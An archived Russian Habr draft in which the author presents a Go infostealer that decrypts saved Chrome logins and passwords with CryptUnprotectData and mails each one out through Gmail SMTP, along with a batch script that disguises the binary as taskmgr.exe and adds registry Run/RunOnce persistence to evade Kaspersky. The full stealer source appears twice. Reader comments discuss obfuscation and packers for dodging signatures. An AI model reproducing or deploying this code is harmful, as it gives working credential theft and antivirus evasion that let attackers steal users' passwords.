СоХабр закрыт.

С 13.05.2019 изменения постов больше не отслеживаются, и новые посты не сохраняются.

| сохранено

H Обход антивируса Kaspersky Total Security в черновиках

На днях я наткнулся на данный весьма интересный проект. Суть заключается в том что данный софт декодирует Login Data от Chrome, Opera Stable (По тому же методу что и Chrome) и выдает все в нам привычный string формат.

Как шифруются пароли Chrome


Разработчики Chrome подошли очень ответственно к этому вопросу используя Data Protection Application Programming Interface (DPAPI). Пароли и логины Google Chrome шифруются с помощью машинного ключа/пользовательского ключа.

За API Криптографии Windows отвечает — Crypt32.dll он и производит все манипуляции с криптографическими ключами. Если вы возьмете и перенесёте файл Login Data "%appdata%\Local\Google\Chrome\User Data\Default\Login Data" на любую другую машину (ПК, ноутбук — без разницы) и попробуете дешифровать файл — у вас ничего не получится. Ключ уникален только текущей машине. Поэтому все манипуляции будут производиться на текущей машине.

Меня заинтересовало совсем другое… Можно же использовать данный софт для кражи данных логинов, паролей пользователя (В целях эксперимента тестировалось только на текущей машине). Декодируется файл на текущей машине и далее все данные отправляются через SMTP сервер, выбрал я для этого Gmail. Ничего хитроумного выдумывать не нужно было, всего лишь добавить обертку для отправки данных через SMTP сервер.

Код дешифратора паролей с последующей отправкой на почту:

package main; 

import (
	"unsafe"
	"os"
	"log"
	//"io/ioutil"
	"fmt"
	"io"
	"syscall"
	"database/sql"
	_ "github.com/mattn/go-sqlite3"
	"github.com/scorredoira/email"
	"net/mail"
	"net/smtp"
	//"path/filepath"
)

var (
	dllcrypt32  = syscall.NewLazyDLL("Crypt32.dll")
	dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")

	procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
	procLocalFree   = dllkernel32.NewProc("LocalFree")

	dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)

var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
	cbData uint32
	pbData *byte
}

func NewBlob(d []byte) *DATA_BLOB {
	if len(d) == 0 {
		return &DATA_BLOB{}
	}
	return &DATA_BLOB{
		pbData: &d[0],
		cbData: uint32(len(d)),
	}
}

func (b *DATA_BLOB) ToByteArray() []byte {
	d := make([]byte, b.cbData)
	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
	return d
}

func Decrypt(data []byte) ([]byte, error) {
	var outblob DATA_BLOB
	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
	if r == 0 {
		return nil, err
	}
	defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
	return outblob.ToByteArray(), nil
}

func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
	sourceFile, err := os.Open(pathSourceFile)
	if err != nil {
		return err
	}
	defer sourceFile.Close()

	destFile, err := os.Create(pathDestFile)
	if err != nil {
		return err
	}
	defer destFile.Close()

	_, err = io.Copy(destFile, sourceFile)
	if err != nil {
		return err
	}

	err = destFile.Sync()
	if err != nil {
		return err
	}

	sourceFileInfo, err := sourceFile.Stat()
	if err != nil {
		return err
	}

	destFileInfo, err := destFile.Stat()
	if err != nil {
		return err
	}

	if sourceFileInfo.Size() == destFileInfo.Size() {
	} else {
		return err
	}
	return nil
}

func checkFileExist(filePath string) bool {
	if _, err := os.Stat(filePath); os.IsNotExist(err) {
		return false
	} else {
		return true
	}
}

func Grabber() {
	//Check for Login Data file
	if !checkFileExist(dataPath) {
		os.Exit(0)
	}

	//Copy Login Data file to temp location
	err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}

	//Open Database
	db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}
	defer db.Close()

	//Select Rows to get data from
	rows, err := db.Query("select origin_url, username_value, password_value from logins")
	if err != nil {
		log.Fatal(err)
	}
	defer rows.Close()

	for rows.Next() {

		err = rows.Scan(&URL, &USERNAME, &PASSWORD)
		if err != nil {
			log.Fatal(err)
		}
		//Decrypt Passwords
		pass, err := Decrypt([]byte(PASSWORD))
		if err != nil {
			log.Fatal(err)
		}
		//Check if no value, if none skip
		if URL != "" && URL != "" && string(pass) != "" {
			fmt.Println(URL, USERNAME, string(pass))

			var sx string; 

			sx = (URL + " " + USERNAME + " " + string(pass))

			m := email.NewMessage("[Grabber]: Decrypt;", sx)

			m.From = mail.Address{Name: "From", Address: "examplefrom3@gmail.com"}
			m.To = []string{"exampleto@gmail.com"}

			auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
			if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
				log.Fatal(err)
			}
		}
	}

	err = rows.Err()
	if err != nil {
		log.Fatal(err)
	}

}

func main() {
    Grabber(); 
}

Проблема


Я скачал и установил антивирус Kaspersky Total Security. К моему удивлению Kaspersky Total Security было абсолютно все ровно на всё происходящее. Знаете почему? Потому что мы работает с криптографической библиотекой Crypt32.dll которая имеет «Цифровую Подпись» и входит в состав неотъемлемого компонента ОС Windows. У меня все работало до тех пор пока я не решил добавить софт в автозагрузку. Делал я по такому плану:

  1. Создается папка в %appdata%/Microsoft/VirtualNetwork/
  2. Перемешается текущий файл в %appdata%/Microsoft/VirtualNetwork/taskmgr.exe
  3. Добавляемся в автозагрузку «HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run»

Код:



func GetRegistryKey(typeReg registry.Key, regPath string, access uint32) (key registry.Key, err error) {
    currentKey, err := registry.OpenKey(typeReg, regPath, access)
    if err != nil {
        fmt.Println("[FATAL]: Get registry-key is impossible!")
    }
    return currentKey, err;
}

func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) (keyValue string, err error) {
    var value string = ""
    key, err := GetRegistryKey(typeReg, regPath, registry.READ)
    if err != nil {
        fmt.Println("[FATAL]: Get registry-key is impossible!")
    }
    defer key.Close()

    value, _, err = key.GetStringValue(nameKey)
    if err != nil {
        fmt.Println("[FATAL]: Get string key-value is impossible!")
    }
    return value, nil;
}

func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue string) bool {
    currentKey, err := GetRegistryKey(typeReg, regPath, registry.READ)
    if err != nil {
        fmt.Println("[INFO]: Get registry-key is impossible!")
    }
    defer currentKey.Close()
    _, _, err = currentKey.GetStringValue(nameValue)
    if err != nil {
        fmt.Println("[INFO]: Check registry-key is impossible!")
    }
    return true;
}

func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathToExecFile string) error {
    updateKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
    if err != nil {
        fmt.Println("[INFO]: Get registry-key is impossible!")
    }
    defer updateKey.Close()
    return updateKey.SetStringValue(nameProgram, pathToExecFile);
}

func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string) error {
    deleteKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
    if err != nil {
        fmt.Println("[INFO]: Get registry-key is impossible!")
    }
    defer deleteKey.Close()
    return deleteKey.DeleteValue(nameProgram);
}
func main() {
    go func() {
        WriteRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\Run`,
            "Virtual Network",
            "%appdata%/Microsoft/VirtualNetwork/taskmgr.exe",
        )
        CheckSetValueRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\Run`,
            "Virtual Network",
        )
        WriteRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\RunOnce`,
            "Virtual Network",
           "%appdata%/Microsoft/VirtualNetwork/taskmgr.exe",,
        )
        CheckSetValueRegistryKey(
            registry.CURRENT_USER,
            `Software\Microsoft\Windows\CurrentVersion\RunOnce`,
            "Virtual Network",
        )
    }()
}


Тут же как я попробовал запустить софт — начал ругаться Kaspersky Total Security. На то и было дело, Kaspersky Total Security перехватывал все системные вызовы которыми я пользовался для добавления файла в автозагрузку, так как мои вызовы исходили из программы неподтвержденной цифровой подписью и не каким боком не относились к компоненту Windows — Kaspersky Total Security негодовал. Я не знал что проблема связанна с цифровыми подписями и компонентами ОС Windows… Я попробовал обфусцировать код.

    mask := []byte{33, 16, 187}
    maskedStr := []byte{89, 152, 190}
    res := make([]byte, 3)
    for i, m := range mask {
        res[i] = m ^ maskedStr[i]
    }
    moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}
    moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
    result := make([]byte, 512)
    for i, m := range moveSX {
    	result[i] = m ^ moveSXSub[i] * m * 22; 
    }

Запустил, подождал, но всё было напрасно…

После этого я посидел ещё несколько часов и решил обойти проблему методом вызова os.exec(), предварительно переместив текущий файл в %appdata%/Microsoft/VirtualNetwork/taskmgr.exe:

    var (
        controllerDir string = os.Getenv("APPDATA")+"\\"+"\\Microsoft\\VirtualNetwork"
    )

    if _, err := os.Stat(controllerDir); os.IsNotExist(err) {
        err = os.MkdirAll(controllerDir, 0755)
        if err != nil {
            log.Fatal(err)
        }
    }

    currPath, err := filepath.Abs(os.Args[0])
    if err != nil {
        fmt.Println("#CANT FIND CURRENT PROCC>")
    }

    from, err := os.Open(string(currPath))
    if err != nil {
        log.Fatal(err)
    }
    defer from.Close()

    to, err := os.OpenFile(controllerDir+"\\taskmgr.exe", os.O_RDWR|os.O_CREATE, 0666)
    if err != nil {
        log.Fatal(err)
    }
    defer to.Close()

    _, err = io.Copy(to, from)
    if err != nil {
        log.Fatal(err)
    }

    cmd := exec.Command("cmd", "/Q", "/C", "reg", "add", 
    "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "Virtual Manager", "/d", 
    "%appdata%/Microsoft/VirtualNetwok/taskmgr.exe")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    out, _ := cmd.Output()
    fmt.Println(out)


Но ничего не выходило, Kaspersky Total Security все равно перехватывал все вызовы. Я был в отчаянии… Полежав на кроватке минут 20 я опять вернулся и глянул на код софта и вспомнил что до того момента как я начал работать с реестром и делать перемещение файлов у меня проблем не было… И тут я понял что проблема как раз с Цифровыми Подписями и стандартными компонентами ОС Windows

Решение проблемы


Так как я уже узнал что проблема была с цифровыми подписями и программными компонентами ОС Windows я приступил действовать. Первым делом я добавил код обфускации (Показанный выше) в код программы. Удалил излишнее компоненты работы с реестром и перемещением файлов. Следующие что я сделал — создал файл auto.bat и записал в него примерно следующее:

@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNetwork
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwork
xcopy /Y taskmgr.exe "%appdata%\Microsoft\System\taskmgr.exe"

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
taskmgr.exe
exit


Суть заключалась в том что я буду использовать стандартные компоненты Microsoft Windows для внедрения данных в реестр (автозагрузку), удаления/перемещения файлов, директорий и так далее, потому что Kaspersky Total Security попросту не может блокировать такие утилиты как regedit, rmdir/rd, mkdir — они необходимы для полноценной работы всех независимо-программных компонентов ОС.

Собрал всё в кучу и подредактировал некоторые нюансы у меня получилось следующие:
Go |test.go| Batch |auto.bat|

package main; 

import (
	"unsafe"
	"os"
	"log"
	//"io/ioutil"
	"fmt"
	"io"
	"syscall"
	"database/sql"
	_ "github.com/mattn/go-sqlite3"
	"github.com/scorredoira/email"
	"net/mail"
	"net/smtp"
	//"path/filepath"
)

var (
	dllcrypt32  = syscall.NewLazyDLL("Crypt32.dll")
	dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")

	procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
	procLocalFree   = dllkernel32.NewProc("LocalFree")

	dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)

var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
	cbData uint32
	pbData *byte
}

func NewBlob(d []byte) *DATA_BLOB {
	if len(d) == 0 {
		return &DATA_BLOB{}
	}
	return &DATA_BLOB{
		pbData: &d[0],
		cbData: uint32(len(d)),
	}
}

func (b *DATA_BLOB) ToByteArray() []byte {
	d := make([]byte, b.cbData)
	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
	return d
}

func Decrypt(data []byte) ([]byte, error) {
	var outblob DATA_BLOB
	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
	if r == 0 {
		return nil, err
	}
	defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
	return outblob.ToByteArray(), nil
}

func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
	sourceFile, err := os.Open(pathSourceFile)
	if err != nil {
		return err
	}
	defer sourceFile.Close()

	destFile, err := os.Create(pathDestFile)
	if err != nil {
		return err
	}
	defer destFile.Close()

	_, err = io.Copy(destFile, sourceFile)
	if err != nil {
		return err
	}

	err = destFile.Sync()
	if err != nil {
		return err
	}

	sourceFileInfo, err := sourceFile.Stat()
	if err != nil {
		return err
	}

	destFileInfo, err := destFile.Stat()
	if err != nil {
		return err
	}

	if sourceFileInfo.Size() == destFileInfo.Size() {
	} else {
		return err
	}
	return nil
}

func checkFileExist(filePath string) bool {
	if _, err := os.Stat(filePath); os.IsNotExist(err) {
		return false
	} else {
		return true
	}
}

func Grabber() {
	//Check for Login Data file
	if !checkFileExist(dataPath) {
		os.Exit(0)
	}

	//Copy Login Data file to temp location
	err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}

	//Open Database
	db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
	if err != nil {
		log.Fatal(err)
	}
	defer db.Close()

	//Select Rows to get data from
	rows, err := db.Query("select origin_url, username_value, password_value from logins")
	if err != nil {
		log.Fatal(err)
	}
	defer rows.Close()

	for rows.Next() {

		err = rows.Scan(&URL, &USERNAME, &PASSWORD)
		if err != nil {
			log.Fatal(err)
		}
		//Decrypt Passwords
		pass, err := Decrypt([]byte(PASSWORD))
		if err != nil {
			log.Fatal(err)
		}
		//Check if no value, if none skip
		if URL != "" && URL != "" && string(pass) != "" {
			fmt.Println(URL, USERNAME, string(pass))

			var sx string; 

			sx = (URL + " " + USERNAME + " " + string(pass))

			m := email.NewMessage("[Grabber]: Decrypt;", sx)

			m.From = mail.Address{Name: "From", Address: "examplefrom3@gmail.com"}
			m.To = []string{"exampleto@gmail.com"}

			auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
			if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
				log.Fatal(err)
			}
		}
	}

	err = rows.Err()
	if err != nil {
		log.Fatal(err)
	}

}

func main() {
    mask := []byte{33, 15, 199}
    maskedStr := []byte{73, 106, 190}
    res := make([]byte, 3)
    for i, m := range mask {
        res[i] = m ^ maskedStr[i]
    }

    Grabber(); 

    moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}
    moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
    result := make([]byte, 512)
    for i, m := range moveSX {
    	result[i] = m ^ moveSXSub[i] * m * 22; 
    }
}

@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNetwork
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwork
xcopy /Y test.exe "%appdata%\Microsoft\System\taskmgr.exe"

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
test.exe
exit

Собираем наш проект:

go build -ldflags "-w -s" -ldflags -H=windowsgui

Запускаем auto.bat: Успешно добавляет наш файл в автозагрузку, создает директорию %appdata%/Microsoft/VirtualNetwork/ и перемещает файл в VirtualNetwork заменяя test.exe на taskmgr.exe.

Может это и не совсем обход антивируса, но суть заключается в том что можно использовать стандартные компоненты ОС Windows для решения частых проблем с перемещением/внедрением /удалением.

Отчет VirusTotal:

image
image

комментарии (12)

0
+2 –2
fmj ,  
если настроить права, то ваш софт просто не запустится.
0
+1 –1
fragmentation-drum ,  
Мы сейчас не говорим о правах, тем более что большинство Компаний/Юзеров не настраивают права, им абсолютно все равно на этом.
+4
Duss ,  
Много где, кроме организаций, вы видели настроенные права?

И в целом даже без автозагрузки уже можно считать дело сделанным. Программа запущена, все пароли вытащены и успешно отправлены на почту. Автозагрузка уже может и не понадобиться.
0
+1 –1
fmj ,  
Если это работает только на не настроенной системе, то смысл писать статью? Когда был студентом, тоже писали программу, которая скачивала файлы с преподских флешек(нам нужны были лекции, а преподы их не давали. Некоторые преподы даже хранили пароли на этих флешках). И она работала только потому, что не были настроены права, можно было запускать любые программы на компах в аудиториях(Кое-где был даже админский доступ). И установленный антивирус никак не реагировал на подобные действия.
+2
InoMono ,  
Если это работает только на не настроенной системе, то смысл писать статью?


Это работает на «дефолтнонастроенной» системе, коих 90%
0
fragmentation-drum ,  
Автозагрузку я пихал для регулярного сбора данных.
+3
vladbarcelo ,  

Вирусы на батниках, ух как сейчас 2006 годом запахло...


А вообще, вы обошли исключительно эвристику. 3-4 дня ваша зараза не будет светиться, а потом резко попадёт во все сигнатуры.

0
mogaika ,  
А можно разъяснить немножко. Кто-то должен обязательно зарепортить программу чтобы она попала в базу сигнатур? И еще её должен будет посмотреть сотрудник касперского?
0
vladbarcelo ,  

Если разговор об AV Касперского, то программа автоматически загружается в KSN. Там, на другом конце, её проверяют некими ноу-хау-методами, скорее всего, как автоматически, так и руками. В конце эта проверка даёт некое обновление для вирусных сигнатур (причём не только хеш-сигнатур, но и эвристических), и уже после этого условный зловред начинает как-то лечиться на компьютерах пользователей. Причём, по опыту (~годовой давности) сначала обновляются хеш-сигнатуры, что даёт некую фору — можно переобфусцировать вирус и весело плевать на хеш-сигнатуры пока не вышло обновление эвристики. Как-то так, но это чисто личные наблюдения и реальности они могут совершенно не соответствовать.

0
nchaly ,   * (был изменён)
Интересно, как обфускация помогает обмануть антивирус.
0
DieSlogan ,  

Меняется сигнатура объекта. У меня как-то KIS на майнер ругался, так я его пакером обработал и KIS перестал его замечать

0
ToshiruWang ,  
А UAC при добавлении не будет ругаться? Или расчёт на «Да-да-да» юзверя или зверь-CD, где оно отключено с момента установки?